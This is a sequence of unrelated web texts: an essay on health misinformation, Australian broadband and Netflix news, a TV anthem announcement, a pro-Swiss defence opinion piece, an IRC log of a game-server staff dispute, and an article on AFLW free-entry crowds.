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Body Politics
The old and new public health risks of networked health misinformation
Image via Flickr user SniggitySnags
At a castle in Leicester, England, a group of nearly 100,000 protesters physically gathered to rally against the recently-instated Vaccination Act. The year was 1885. A new body of scientific evidence on the efficacy of vaccines had led to a political mandate for vaccination, and clusters of the general public reacted by mottling this scientific discovery with misinformation about vaccine-related death and disease. The crowd that gathered at the castle carried banners that exclaimed the injustices of required vaccination: “Compulsory vaccination is a usurpation of unjust power” and “Truth conquers.”
By the beginning of the 20th century, this anti-vaccination sentiment had spread overseas to the United States in the form of pamphlets, court battles, and heated legislative debate. Amidst this political struggle, early Supreme Court rulings managed to uphold vaccination mandates and subsequently quell the growing swell of anti-vaccination rhetoric until the latter half of the century.
Without historical context, health misinformation risks being mistaken for a phenomenon of the internet’s unique participatory nature.
Today, the World Health Organization (WHO) has named anti-vaccination beliefs (or “vaccine hesitancy”) as one of ten global health threats in 2019. The WHO is among many medical and public health organizations warning that the current circulation of viral health misinformation may very well undermine a century’s work of building public trust in medical institutions—not only in vaccination but in countless examples such as cancer, eating disorders, and ebola.
Without historical context, health misinformation risks being mistaken for a phenomenon of the internet’s unique participatory nature. Anti-vaccination sentiments have been around for nearly as long as widespread vaccination itself, yet there are material differences between the thousands of protesters that once gathered outside of a castle in England and the tangle of siloed communities that churn out torrents of anti-vaccination rhetoric online. Much like the contemporary online mis– and disinformation aimed at undermining democratic infrastructures around the globe, the gaming of information systems to spread mass health falsehoods threatens both our social institutions and our personal well-being.
Vaccination hysteria and weaponized health misinformation in the U.S. dates back to the beginning of the 20th century. According to the Huffington Post, this is an illustration from a 1930’s cartoon booklet titled “Health in Pictures.”
In the U.S.’s modern medical paradigm, power is shifting from the medical professional to the patient, making the subversion of medical expertise particularly effective. Self-empowered patients are increasingly reliant on information systems, especially social media and search engines, to make health-related decisions for themselves and their families. Social influences are a primary factor in the adoption of health behaviors, both on– and offline; individuals have long looked to their peers as primary sources of health information.
More recently, social media have become indelible parts of the public health landscape as online social networks have made health communities and information more accessible. Similar to the effects of offline social influence on health decisions, social media has been found to significantly influence the collective dynamics of individual health behavior. Research has even found that 80% of self-diagnoses start from “Dr.Google.” These systems that generate, organize, and spread health information continuously shape our perceptions of health risks, and as a result, have exposed new vulnerabilities for networked health information.
Bots, search engine optimization, and the gaming of recommendation systems are foundational tools used by various actors to influence public health discourse.
Health is inherently political, as shown by the protest signs decrying overbearing government oversight at the 1885 anti-vaccination protests. This compounds vulnerabilities associated with internet-reliant patients. The contentious nature of health information, much like other divisive topics, makes the upswell of health misinformation online particularly susceptible to be leveraged for disinformation efforts.
There are clear parallels between the tactics used to spread health disinformation and political content. For instance, in 2018, researchers found that large networks of bots and trolls were spreading anti-vaccination rhetoric to sow confusion online and amplify the appearance of an anti-vaccination community. The anti-vaccination tweets often referenced conspiracy theories, and some accounts almost singularly focused on the U.S. government. As a result, real-life users and orchestrated networks of bots are engaged in a feedback loop. Recently, political public figures have used their platform to amplify vaccination misinformation, such as tweeting that measles can help fight cancer. There is a long history of people using influence to sway public opinion about vaccines—particularly among celebrities.
These are symptoms of a larger societal crisis: disinformation campaigns aimed to undermine social institutions.
The search and recommendation algorithms that underpin our information retrieval systems are other modern tools mediating access to health information. When a user enters an inquiry into a search engine, they receive curated results. As so many people rely on search engines for health information, they are another important mechanism that is susceptible to manipulation. For instance, the websites of some crisis pregnancy centers—which are designed to look and sound like those of clinics that provide abortion care, but instead give misleading information about the negative effects of abortion to visitors—are optimized results for Google searches often made by women seeking abortion information.
Similarly, recommendation systems on popular social media platforms, particularly Facebook and YouTube, create easy entry points for problematic content. For example, a mother joining a generic parenting group on Facebook may subsequently receive recommendations for anti-vaxx groups. Bots, search engine optimization, and gaming of recommendation systems are foundational tools used by various actors to influence public health discourse and skew public debates — often blurring the line between medical mistrust and larger political ideologies and agendas.
Image via Flickr user Marion Klingemann
Ultimately, is the end-game for actors orchestrating health disinformation to trigger pockets of measles outbreaks, mislead parents about their child’s autism, or steer a woman away from getting an abortion? No. These are symptoms of a larger societal crisis: disinformation campaigns aimed to undermine social institutions. Modern health disinformation capitalizes on the already contentious nature of health. It targets not only those keen on conspiracy theories, but also sincere consumers of healthcare who are navigating a complex system of personal beliefs, temptations of alternative “cures,” and rumored negative effects of vaccination.
Modern health information is a complex web of powerful digital tools that move beyond the public health threats posed by banners and pamphlets that protestors distributed in 1885. These are threats that platforms like Pinterest and Amazon, combined with primary care physicians, now have to address. Anti-vaccination rhetoric is a familiar form of public debate over personal freedom and the larger public good, but the new iteration is inciting more than angry mobs around a castle in England. Our networked health information has fallen into an intricate, and often deceiving, dance between health, skepticism of evidence-based science, and contentious politics.
Information continues to be a fundamental component of public health, and as political actors leverage health disinformation to wage digital warfare, it’s our wellbeing, and potentially our lives, caught in the crossfire.
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Australia’s internet is at risk of collapse at peak hour as the public’s love of internet streaming outpaces the broadband network’s capacity to handle the traffic, an expert has warned.
“The network could effectively stop between 5pm to 9pm,” Mark Gregory, electronic and telecommunications associate professor at RMIT University, told The New Daily.
He said the unprecedented uptake of high definition (HD) online streaming services, such as Netflix, put Australia in danger of a network collapse during peak time despite the nation’s biggest-ever $49 billion infrastructure spend on the national broadband network (NBN).
New figures last week from the Australian Bureau of Statistics demonstrated our growing obsession with binge watching, revealing Australians download one million terabytes of data between March and June this year.
Total downloads in Australia between June 2016 and June 2017 grew by a massive 43 per cent to just shy of three million terabytes.
This all comes as the total number of internet users grew by only 2.1 per cent, suggesting demand will continue to surge regardless of population growth.
According to a Nielsen study from earlier this year the number of Netflix users in Australia grew by 48 per cent between December 2015 and December 2016, while a Roy Morgan report released in 2015 showed Netflix’s subscriber audience had reached 5.75 million.
However, Netflix declined to reveal to The New Daily their Australian watchers, confirming only that peak usage time in Australia was 8pm.
People are already aware of slow network speeds at peak times, particularly after work as many Australians sit down for a TV binge.
The 2015 Roy Morgan report showed 35 per cent of Netflix watchers in Australia spent three to seven hours a week on the service, but 9 per cent spent 15 hours or more watching weekly.
Akamai’s ‘State of the Internet’ report released recently found Australia’s average internet speeds continued to hang in limbo with countries such as Kenya and Russia, and far behind our nearest neighbour New Zealand.
New Zealand’s own version of the NBN promises to deliver to most citizens speeds of up to 100 megabits (Mbps) download a second, while 80 per cent of Australians signed up to the NBN receive a maximum of up to 25Mbps.
Only 13 per cent have signed up for the much faster and more expensive high-end 100Mbps, with many failing to receive even that.
But NBN Co, the government organisation responsible for building and operating the NBN, rejected claims their network is failing to perform.
An NBN spokesperson said internet retailers were responsible for slower connections, which vary due to how much capacity retailers are buying.
“Retailers need to buy enough CVC – or capacity – for their end-users,” the spokesperson said.
“The end-user experience on the NBN is primarily dictated by how much capacity retailers are making available to end-users.”
RMIT Professor Mark Gregory told The New Daily that tight-fisted retailers and outdated ways of charging to use networks are responsible for slow service.
“You end up with a situation where there’s not enough capacity being bought,” he said.
Current NBN plans to utilise existing copper wiring place hard limits on download speeds and with more users joining the network speeds may continue to fall.
“Netflix is trying to say to customers that we can provide you with 4K,” Professor Gregory said.
“But if they were to transmit at 50-70 megabits a second required for 4K, our network could collapse.”
But 4K will be old news by the time 8K streaming comes online for the 2020 Olympics in Tokyo.
An 8K video is almost three times bigger in file size than current 4K videos, which themselves clock in at 6000 gigabytes for 100 minutes.
Depending on the levels of compression the 130 hours of 8K footage planned for the Tokyo Olympics could come in at 225 GB per 100 minutes, or 25,600 gigabytes for the total 8K experience.
But NBN Co told The New Daily they welcomed services which encourage people to use the internet more.
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The national anthem will soon be aired daily on our station.
WABI will join our sister stations in 93 television markets across the country airing a video presentation of the “The Star-Spangled Banner” featuring inspiring images from across the United States.
Beginning Thursday, June 13th, WABI-TV will open the day with the national anthem weekdays at 4:58 AM.
WABI-DT2, our CW station, will air the video weekdays following our 7:00 AM newscast of TV5 Morning News.
Reina Özbay, a nine year-old South Florida girl sings the anthem. A gifted film and theater actress, she made her professional stage debut at the age of seven at South Florida's Stage Door Theatre.
Gray Media Group’s Executive Chairman and CEO, Hilton Howell, announced the national anthem initiative last week at the broadcast company’s annual meeting of news directors.
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Switzerland has not been in a foreign war of any kind since 1815. This would be astounding, even miraculous, for any nation. But Switzerland borders Germany. And France. And Italy. And Austria. And Liechtenstein. Now the Vaduz regime has rarely lashed out in blitzkrieg in a desperate bid to reign über alles, but all of Switzerland’s other neighbors have spent their histories invading other countries.
In addition to the encircling foreign marauders, Switzerland itself is composed of four different language groups (German, French, Italian, and Romansh) that get along as well as, well, Germans and French.
The Swiss finalized their no-wars policy of armed neutrality in 1815. Their decentralized citizen army was good enough to keep them out of the Franco-Prussian War of 1870, World War I, and other European gang fights. In 1934, they addressed the looming threat of aerial bombing by starting a massive civil-defense effort. They maintained their citizen army and kept out of World War II, even while provoking Hitler by letting Jews hide their assets in secret Swiss bank accounts. Many Jews only escaped the Holocaust because they had their money where Nazi tax authorities couldn’t get it.
Hitler was in fact very provoked by the Swiss. His generals even got as far as giving the invasion of Switzerland the name “Operation Tannenbaum” and drawing lines on maps for it. However, no matter how they drew the lines, they couldn’t overcome the reality that there were no critical central targets for mechanized blitzkrieg to disrupt. Every house in Switzerland was a center of resistance. The Wehrmacht paratroopers couldn’t beat a defense that covered every square centimeter of the country with accurate rifle fire, and they knew it.
At the end of World War II, some Russian refugees took shelter in Liechtenstein. The Soviets demanded they be turned over to the NKVD, and Liechtenstein blocked them (so occasionally the fury of Liechtenstein is unleashed, after all). While the United States and Britain helped the Soviets herd millions of people onto trains to Siberian death camps, the citizens of Liechtenstein (and its ally Switzerland) faced down Stalin.
In 1962, noticing that the Cold War world was not getting any safer, the Swiss started building nuclear shelters. By the early 1990s, the program was complete. Every home, school, and business in Switzerland has a blast shelter in the basement, with a filtered air system. Hospitals have fortified wards, and local governments have underground command centers. Every citizen is trained in civil defense and knows where to find a radiation meter and/or gas mask. If the rest of Europe turns itself to glowing rubble, the Swiss will spend two weeks playing cards underground and then get back to work.
All this defensive infrastructure also limits the destructive potential of terrorist attacks. Dirty bombs are useless against people with shelters and fallout meters. Every citizen has anti–chemical weapon masks and equipment. Even nuclear bombs would only kill people in the immediate blast area; survivors would escape to the shelters. Any attempt to terrorize citizens with Mumbai-style attacks would be met with the assault rifles and rocket launchers of every Swiss household.
How much does all this security cost the Swiss? Not very much. In the 1980s the Swiss spent about $33 per capita annually on civil defense. Since the completion of the shelter program, they spend less; in fact the Swiss federal government now leaves all civil defense spending to the cantons. Estimates put total Swiss military spending at 0.9% of GDP. The US spends 5–6% of our much larger GDP to achieve almost total vulnerability.
The Swiss solution makes Swiss society more resilient against other natural or man-made disasters as well. A reactor meltdown is trivial to a nation that is built to withstand direct nuclear bombardment. Even asteroid strikes or megavolcanoes are less threatening to a nation only steps away from shelter and stockpiles. Whatever the future brings, the Swiss people will face it squarely and deal with it.
The American Way: Permanent War and No Defense
As Jon Huntsman said before dropping out of the primary race, the United States spends about as much as the rest of the world put together on “defense.” Our on-budget military spending is around 45% of world defense expenditure. But then we have a ~$75 billion black budget, a Veterans Administration budget of $132.2 billion, on-budget foreign aid of $53.3 billion, and off-budget Federal Reserve foreign aid in frankly unbelievable amounts. So a hundred billion here, a hundred billion there, and we end up spending as much as all the rest of the world’s armies and air forces put together.
The United States has military programs to address threats that don’t even exist. We have the F-35 to face the now-defunct Soviet air force, Trident submarines to launch missiles at now-friendly Russian cities, and aircraft carriers to fight no one, as no other country is dumb enough to pile $20 billion onto one fragile, indefensible “missile magnet.”
So we must be pretty safe, right? We must have really good anti-aircraft defenses — oops, no, even civil airliners can just fly right into the Pentagon, even with lots of warning time. But we must have missile defense, after all the money we’ve spent? Not so much. We have around 30 interceptor missiles that protect Alaska and Vandenberg Air Force base — as long as the enemy promises not to use any decoys or electronic countermeasures. U.S. cities are wide open to attack by any nuclear power, including the French.
But the only military threat recognized by mainstream media nowadays is terrorist bombs, delivered by Chevy Suburbans or the UPS man. So the United States must have a really well-developed civil defense system to protect citizens against fallout, nerve gas, or biological agents. All citizens must be well-trained in nuclear, biological, and chemical defense and have their radiation meters, masks, and protective suits in their car trunks.
Maybe in some alternate universe. In the 2012 United States, the only civil defense is whatever people provide for themselves. Our trillion dollars or so of “defense” money is spent mainly on serving as mercenaries to the various warlords that we support around the world. Meanwhile, America herself is the most vulnerable target in history, full of single-point failure modes, glass cities, and panicky “Homeland Security” bureaucrats.
A few guys with box cutters caused us to attack ourselves with “security” measures that cost us many times the expense of the physical damage of the 9/11 attacks. Then we made a follow-up strike on ourselves by launching several wars, which cost another $4 trillion or so. That was our response to losing two buildings.
A serious terrorist attack wouldn’t involve suicide bombings with hijacked airliners. There would be far more dangerous non-suicide bombings using nerve gas, Ebola, flu, or nuclear bombs. Or bargain-basement terrorists could simply make simultaneous conventional explosive attacks on dams (at flood stage), refineries and chemical plants (during smog-weather inversions), the Internet backbone (anytime), etc.
Americans have to be honest with ourselves. If there were a real attack against the United States, would we bravely handle it with a stiff upper lip and recover? Or would our “Homeland Security” apparatus choke the economy of our country to death in panic, with crazy travel restrictions and nonsensical strip searches of old women and children? I think the answer is clear: the United States would cease to exist in anything resembling a functional state if even one city were seriously attacked.
America Could Be Safer Than Switzerland
Switzerland, of course, is a small, landlocked among other nations with long criminal records, and it has a smaller military budget than any one of its potential attackers. The United States has none of these problems. If we applied the Swiss model, we could ensure that our society, our Constitution, our freedoms, and most of our people would survive even a major attack. And if someone thinks you’re certain to survive and hunt them down, they’re less likely to attack in the first place.
We have technical advantages the Swiss do not. We could expand our missile defense program and help the other powers to do so as well. No decent person wants to see the children of Kiev, Mumbai, or Beijing burn in nuclear fire for some politician’s agenda. A thin defense shield against rogue missiles for every country that wants it should be encouraged.
We could also have a real air defense against bombers or drones tomorrow. All we have to do is fly our F-15s home from Saudi Arabia and use them to guard Washington, D.C., and Peoria instead of Riyadh. Our Patriot missiles could be placed around U.S. cities instead of scattered around the Middle East. (Those who doubt the Patriot missile’s effectiveness should note that it has confirmed kills in 2003 against an RAF Tornado and an F-18 Hornet — by accident, of course, but there’s no doubt they can shoot down planes.)
If our Navy weren’t busy blockading Iran to raise the price of oil, it could add its Aegis cruisers to defend our coastal cities. Our naval forces would still fight piracy and maintain freedom of the seas, but we don’t need Cold War–size forces in expensive Bahrain bases for that. As far as pirates go, all we really have to do is allow the merchantmen to arm themselves.
Of course, if we applied a noninterventionist foreign policy, the number of groups motivated to attack us would be greatly reduced. Right now, we are involved in most of the ethnic and religious conflicts around the world. Far too many political factions would benefit from a distracted and damaged United States. If an attack were anonymous, how would we retaliate? Last time, we “retaliated” against a nation (Iraq) that wasn’t even involved in the attack. They didn’t have WMDs, but what if our next president accidentally lies us into attacking someone who does? Like France?
This brings up another Swiss policy: their president can’t launch wars by executive order. In theory, neither can ours, and we need to start applying that theory (and the rest of the rule of law) in practice again.
The Swiss recipe for peace is simple, but it requires all elements in order to work.
1. Power must be decentralized so that your own politicians cannot aggress against other nations. It’s too obvious to need stating, but you can’t stay out of wars if you keep starting them.
2. Defense must be decentralized as well. The Norwegians also had a militia system in World War II, but the weapons were piled in central armories. The Wehrmacht paratroopers dropped right on the armories and used the Norwegians’ own artillery against them.
3. Defense must be focused on defense and protection of civil society. Adding your troops to every ethnic and religious conflict on earth is not going to make your society safer.
Refusing to Face the Real Threat: Bankruptcy and Monetary Collapse
Our national defense debate is taking place in Media Wonderland, where the United States has infinite resources and there are no costs or consequences for any action. According to Newt, it’s time for us to spend a few trillion on a government-run moon base, while Mitt just wants to spend those trillions on new Mideast wars. These are supposedly the “mainstream” views. The only noninterventionist candidate is summarily ignored.
Back on planet earth, the United States has an on-budget debt that is larger than our GDP, and government accountants don’t count Social Security, Medicare, the prescription-drug benefit, or Federal Reserve bank bailouts. Professor Laurence Kotlikoff, using CBO figures, calculates the real U.S. debt at more than $200 trillion. Our huge “defense” budget is borrowed month by month from foreign powers, hardly a sustainable situation.
If we eliminate corporate welfare and bailouts, get out of our illegal undeclared wars, reduce and redirect military spending to actual defense, and free the U.S. economy to recover, the 21st century could see an American Renaissance. Otherwise, our economy’s fall is inevitable, and all the king’s tanks and all the king’s planes won’t put it together again. An America involved in every conflict, with no resources to support any of them, is the legacy we have given our children.
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[03:47.08] <@Aconite> Seefo is upset because I asked him to step down from a dictator role
[03:47.11] <@Aconite> Where he would have final say
[03:47.18] <@Aconite> Because I asked this
[03:47.23] <@Aconite> He's now fired me
[03:47.29] <@Aconite> So I'm leaving
[03:47.33] <SkyyyrDeath> can I take Aconite's spot?
[03:47.40] <@Aconite> Beacuse it's in the better interest overall that SWG Reborn stays the way it is
[03:49.48] <@Aconite> I'm not trolling
[03:49.51] <@Aconite> This is 100% serious
[03:50.06] <@Aconite> Seefo is damaging the community now by acting immature
[03:50.11] <@Aconite> Instead of letting me leave quietly
[03:50.15] <@Aconite> Because that is what he wants
[03:50.18] <@Aconite> And I'm sure you're all now upset
[03:50.25] <@Aconite> Becuase he's filled this entire team and community with drama
[03:50.30] <SkyyyrDeath> alright i'll bite, but if this isn't real then I won't believe you again lol.
[03:50.37] <@Aconite> Yes this is real
[03:51.10] <SkyyyrDeath> oh snap didn't see general
[03:51.38] <@TheGrayLegacy> Holy fuck guy take a deep breath. This is a huge jump
[03:51.51] <@_Light> he deleted my mega folder with the server files
[03:51.53] <@_Light> top kek
[03:51.53] <@Aconite> Seefo is the one that has made this decision
[03:51.56] <@Aconite> I do not want to leave
[03:51.59] <@Aconite> But Seefo wants me to leave
[03:52.07] <@Aconite> You guys can express your own opinions on if I should be removed or not
[03:52.10] <seefo> Aconite, I am requesting you tyo step down
[03:52.14] <@Aconite> You all should have a fair say in this, you're staff too
[03:52.18] <@_Light> Im leaving too fuck you seefo
[03:52.22] <seefo> great
[03:52.31] <@_Light> you are fucking insane
[03:52.37] <@_Light> why would you delete my shit
[03:53.25] <@Azulon> And this is the reason why I enjoyed live servers hosted by a company/professionals. Sigh.
[03:53.31] <seefo> ^
[03:53.42] <SkyyyrDeath> I am here to help, but I didn't even know about this stuff?
[03:54.10] <@Aconite> Seefo proved he was quite sparatic over the last few days
[03:54.14] <@Aconite> Because he had to take a break
[03:54.20] <@Aconite> And then came into our Live Chat
[03:54.23] <@Aconite> Pretending to be someone else
[03:54.28] <@Aconite> And asked about the status of things
[03:54.33] <@Aconite> And even asked me about himself
[03:54.37] <@Aconite> While pretending to be someone else
[03:54.42] <@Aconite> Because he thought we "annexed him"
[03:54.48] <@Aconite> Which obviously shows hes got personal things going on
[03:54.50] <SkyyyrDeath> I didn't see anything like that.
[03:54.54] <@_Light> he literally went full retard
[03:54.58] <@Azulon> I am in favor for the option which preserves the community as well as keeping the game going.
[03:55.09] <@_Light> wtf would he delete the files I needed for setting up new server
[03:55.13] <SkyyyrDeath> well it is already damaged now man.
[03:55.14] <@_Light> I didnt even do anything
[03:55.35] <@Aconite> Here is a log of the chat: http://pastebin.com/fHy7B639
[03:55.44] <@Azulon> So far I understand this server was hosted/run by seefo. Administration of the community was put on by Aconite.
[03:55.50] <@Azulon> Where did the problem occur?
[03:56.01] <@Aconite> Seefo started this project
[03:56.10] <@Aconite> But before there was anything, he also invited me and light to work on it
[03:56.14] <@Aconite> Then I created forums etc
[03:56.18] <@Aconite> helped him plan the launch
[03:56.21] <@Aconite> And we opened a community
[03:56.32] <@Aconite> I was handling everything and he was developing
[03:56.49] <@Aconite> Until we had disagreements about how some things should be run
[03:56.59] <@Aconite> For examine seefo thought we should allow everyone to have multiple accounts
[03:57.05] <@Aconite> Which of course would be a logistical mess
[03:57.12] <@Azulon> As proper dividing of powers should be done.
[03:57.26] <@Aconite> So we got into an argument
[03:57.31] <@Azulon> Nobody can do everything, that is insane. People are dedicated to certain work areas.
[03:57.57] <@_Light> he showed how fucked up he is by taking this to the public
[03:58.02] <@_Light> first deleting project files
[03:58.04] <@_Light> now this
[03:59.10] <SkyyyrDeath> damn well I feel a bit betrayed by this, if someone has an issue voice that shit don't bottle it up. I am a no body when it comes to dev work but I did understand and can relate to the pressures of it.
[03:59.23] <seefo> Well I did have my back up against the wall
[03:59.32] <SkyyyrDeath> How
[03:59.39] <@_Light> you do realise you fucked things up now?
[03:59.43] <seefo> yeah
[03:59.44] <@_Light> why would you even do that
[03:59.47] <@Aconite> You didn't have to take this public man
[03:59.49] <@_Light> what is wrong with you
[03:59.52] <@Aconite> things would of been fine and we could of left
[03:59.53] <SkyyyrDeath> Did you want to partake in other activities?
[03:59.54] <@_Light> like seriously
[03:59.55] <@Aconite> Now the community is freaking out
[03:59.56] <@Azulon> Alright. Facts: We have a disagreement on how the project should be run, disruption in the administration, a PR desaster, and created a community of 1700 people within one week and a half, for which we are now responsible.
[03:59.58] <@TheGrayLegacy> Seefo or someone please correct the IRC title or allow one of us to handle it.
[04:00.00] <seefo> I asked you to leave aconite
[04:00.04] <seefo> and you wouldnt
[04:00.15] <@Azulon> And deleted server files.
[04:00.17] <@_Light> this project cant even live 1 minute without aconite
[04:00.32] <@_Light> you know that seefo
[04:00.37] <@_Light> yet you want to be dictator
[04:00.39] <@_Light> for some reason
[04:00.40] <@Aconite> Seefo stop it
[04:00.51] <@_Light> and now took everything into the public
[04:00.55] <@_Light> like wtf
[04:01.24] <@TheGrayLegacy> What all did we lose? how long do we need to recover?
[04:02.29] <@Aconite> Seefo is just being immature at this point
[04:02.32] <@_Light> Im mad that he would wipe my personal folder on mega that contained files needed for the setup of new server
[04:02.47] <@Aconite> Guys I am going to be leaving like Seefo asked
[04:02.58] <@Aconite> I've tried my best to recover the damage he has done by spreading things to the public
[04:03.01] <@_Light> WarMachine has everything we need but he isnt here
[04:03.38] <@Aconite> I didn't want all this drama
[04:03.57] <seefo> Aconite
[04:03.58] <SkyyyrDeath> question
[04:04.02] <seefo> if you didnt put be up against a wall
[04:04.05] <seefo> me*
[04:04.07] <seefo> and say
[04:04.15] <seefo> "I have control of all the services, you realize that right"
[04:04.19] <@_Light> no one put you up against a wall
[04:04.25] <@Aconite> I'm sorry I tried to force you out of your throne
[04:04.36] <@_Light> by your actions you already proved that we were right
[04:04.39] <seefo> (6:42:51 PM) Aconite: Seefo do you realize
[04:04.39] <seefo> (6:42:55 PM) Aconite: I literally have control over everything
[04:04.42] <@_Light> that you are immature and unpredictable
[04:04.45] <@_Light> and insane
[04:04.56] <@Aconite> It would of been one thing for you to demand me leave
[04:05.03] <seefo> I did
[04:05.08] <seefo> I requested you to leave
[04:05.08] <@Aconite> Yeah but then what did you do?
[04:05.10] <@Aconite> You posted on the forums
[04:05.12] <seefo> No
[04:05.13] <@Aconite> You started public drama
[04:05.16] <seefo> you said you wouldn't leave
[04:05.19] <@Aconite> You kicked me from IRC channels
[04:05.21] <seefo> Yes
[04:05.22] <@Aconite> etc
[04:05.28] <@Azulon> Alright everybody: here are the facts. 1700 players want to play the game. 1700!
[04:05.32] <seefo> You are not a trust worthy person
[04:05.36] <@Aconite> I'm not?
[04:05.37] <@Aconite> lololol
[04:05.39] <@_Light> doesnt matter to seefo
[04:05.43] <@_Light> how many are playing
[04:05.43] <@TheGrayLegacy> Azulon please work with us on damage control
[04:05.54] <seefo> it does matter to me
[04:06.01] <@Aconite> then why would you try to destory that?
[04:06.03] <@Azulon> This is a mess and we should think about the community.
[04:06.18] <seefo> The community will be fine
[04:06.26] <SkyyyrDeath> Not really
[04:06.29] <@_Light> no they will not
[04:06.35] <seefo> They will
[04:06.35] <@Aconite> I don't think you realize what you did
[04:06.38] <seefo> I do realize
[04:06.41] <seefo> I am not stupid
[04:06.47] <@_Light> yes you are
[04:07.06] <seefo> alright, 3 of us onto vent
[04:07.07] <@_Light> you just fucked up everything because you couldnt play the insane dictator
[04:07.32] <seefo> what is the port
[04:07.38] <SkyyyrDeath> If we are all a team, shouldn't we all be there?
[04:07.44] <SkyyyrDeath> or is it just you 3?
[04:07.49] <seefo> well
[04:07.52] <seefo> we are all a team
[04:07.56] <@Aconite> I think we all need to discuss this
[04:07.58] <seefo> but i need to work something out with these two first
[04:08.06] <seefo> since it seems it has become personal
[04:08.14] <@Aconite> TheGrayLegacy, I've given you forum moderator permissions to take care of the forums for the time being
[04:08.49] <@_Light> I have nothing to say to you
[04:08.49] <@_Light> you deleted my mega folder for like no reason
[04:09.10] <@_Light> Im done with you
[04:09.15] <@Aconite> can someone take care of the new profile posts
[04:11.09] <@Aconite> So are we going to talk this out?
[04:11.11] <@Aconite> Or am I leaving?
[04:11.36] <@Aconite> What do you guys want? Does anyone have anything to say? We're all a team here.
[04:12.09] <@TheGrayLegacy> Me,azulon, and matt are on dmg control.
[04:12.24] <@Aconite> What do you guys think about the situation?
[04:12.29] <@_Light> what about the public IRC?
[04:12.47] <@Aconite> you can join light
[04:12.48] <SkyyyrDeath> I think im gonna resign, I have minimal time as is. I know I didn't get to do much for this team and project, but what I did do I tried doing well. I don't know enough about the situation to make an informed decision.
[04:13.11] <@Aconite> seefo can you explain your side of the story to everyone
[04:13.21] <@Aconite> I dont want to speak for you or falsely represent your opinions
[04:13.58] <SkyyyrDeath> I don't wanna be the guy to dip out when its going south, but the lack of communication from all 3 of you sucks ass. I expected more from you guys than this.
[04:14.04] <@_Light> if seefo actually cared about the game or the community he wouldnt have done anything
[04:14.20] <seefo> alright
[04:14.23] <SkyyyrDeath> Trying to say what I said as neutral as possible, take no offense.
[04:14.31] <@Aconite> Yes I understand
[04:14.39] <@Aconite> I will let seefo talk, then when he is finished, I will explain my point of view.
[04:14.39] <seefo> _Light: I care about the community
[04:15.02] <@_Light> then why did you try to destroy everything
[04:15.59] <@_Light> If I were asked to step down I wouldnt fuck up the shit I have access too because I actually want to play the game
[04:16.35] <seefo> Aconite and you both confronted me in the dev channel, aconite expressed how he didn't like how the project was going and the decisions I had been making -- I think he was more upset with my recent behavior. Anyways, you two literally had me up against a wall, telling me that you wouldn't allow me to have control of things and Aconite reminded me that he had full control of all the services
[04:17.10] <@_Light> still dont see how any of this justifies your actions
[04:17.15] <seefo> I had founded SWGReborn
[04:17.19] <seefo> Im explaining
[04:17.21] <@_Light> no matter how you spin it
[04:17.22] <seefo> give me a couple mins
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There's a baffling issue facing AFLW games, one that you might not predict would be a problem.
With very few exceptions, the games are free and not ticketed — and this might be driving fans away.
This fact is often a surprise to those who haven't attended a women's football match in the past.
In the lead-up to the first clash of the season between Richmond v Carlton, I fielded several queries about how to buy tickets for the game. This included one from two Americans wanting to get their fix of Australian Rules Football, and others from social media users who had never attended a football match or had only attended men's games.
The concept of not purchasing tickets was so foreign, they assumed the game was sold out when they couldn't find tickets online.
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You can see why they thought so. In the lead-up to the opening game of AFLW season four, all talk centred on the likelihood of a "lockout".
The lockout, for those new to AFLW, entered the vernacular after the launch of the national women's competition in 2017, when more than 25,000 packed out Ikon Park for the inaugural game between Carlton and Collingwood and the AFL was forced to literally shut the gates.
Ahead of Friday's game, head of women's football Nicole Livingstone said they were planning for a capacity crowd and even had contingency plans for those who missed out — a screen to be set up on the northern lawn.
This year, it was expected that the presence of the Tiger Army — with more than 100,000 members for the men's game — would all but guarantee a heaving crowd.
The eventual crowd of 15,337 — while not a number to be sneezed at — was 10,000 short of capacity and far below expectations.
You could make the argument that it shows dwindling interest in the women's competition.
But crowds were impressive across the rest of the round, most notably culminating in a lockout on Sunday for the clash between St Kilda and the Western Bulldogs at RSEA Park (better known as the Saints' spiritual home, Moorabbin).
Why might crowds have stayed away on opening night, but showed up in healthier numbers in the suburbs?
What do you mean I can't buy tickets?
Speaking to fans on Friday night, I was also told that many who had wanted to attend had stayed at home to watch the match on TV, because they could not, or did not want to, line up from 6:00pm or earlier to be assured entry.
This was the case especially for those making the long trek from regional and rural locations, those with disabilities and older people.
Further fuelling fan anxiety, the Carlton Football Club had been texting its members in advance of Friday's game, advising them to arrive early given the expectation of a "big crowd".
Many were left wondering why the game could not have been ticketed — even without a cost.
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By contrast, the Moorabbin clash — despite marking the return of football to St Kilda's spiritual home — was never hyped as a lockout, perhaps explaining why there was not the same fear of fans missing out.
Defining the value of women's sport
The lack of ticketing poses another problem for AFLW. Since its inception — with a couple of notable exceptions — women's games have been free to attend.
The AFL has consistently justified this by arguing that a new competition needs "time", "clean air" (so-called space in the yearly sporting calendar) and assistance to grow its supporter base.
After Friday night's game, Livingstone was asked on the ABC's The Outer Sanctum if the AFL had considered ticketing big games such as the opener to "alleviate [fan] anxiety" about being assured entry — with Lucy Race pointing out that fans might not show up for an anticipated "lockout" in such cases.
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Livingstone said all aspects of AFLW ticketing were under consideration, but that the AFL wanted to give the four new clubs who had entered the competition in 2020 the "same opportunity as those foundation clubs to build an audience without a price barrier".
What exactly does it mean to assume that price is a barrier to attendance? What does that say about women's sport? Implicit in the AFL's refusal to charge patrons entry to AFLW games is the assumption that those who attend would be unwilling to do so if they were charged for entry.
In reality, fans regularly complain to anyone who will listen about their inability to contribute financially to the game. This includes security guards on the boundary line, journalists, players and fellow fans.
The most passionate contribute by way of player sponsorships and club memberships — including "foundation" memberships that cost hundreds of dollars despite games being free.
Such fans usually explain that they are looking for a way to reinvest the money back into women's football — particularly against the backdrop of players becoming more vocal about the difficulties of the work/life balance they precariously manage as semi-professionals.
Not charging entry for games also provides ammunition for the league's detractors, so that any successful or large crowd inevitably comes with the retort that entry is free.
Focusing on crowd numbers becomes a bigger problem if 15,000 reads as a lack of support for AFLW, as opposed to a logistical, self-fulfilling prophecy about the value and lure of women's sport.
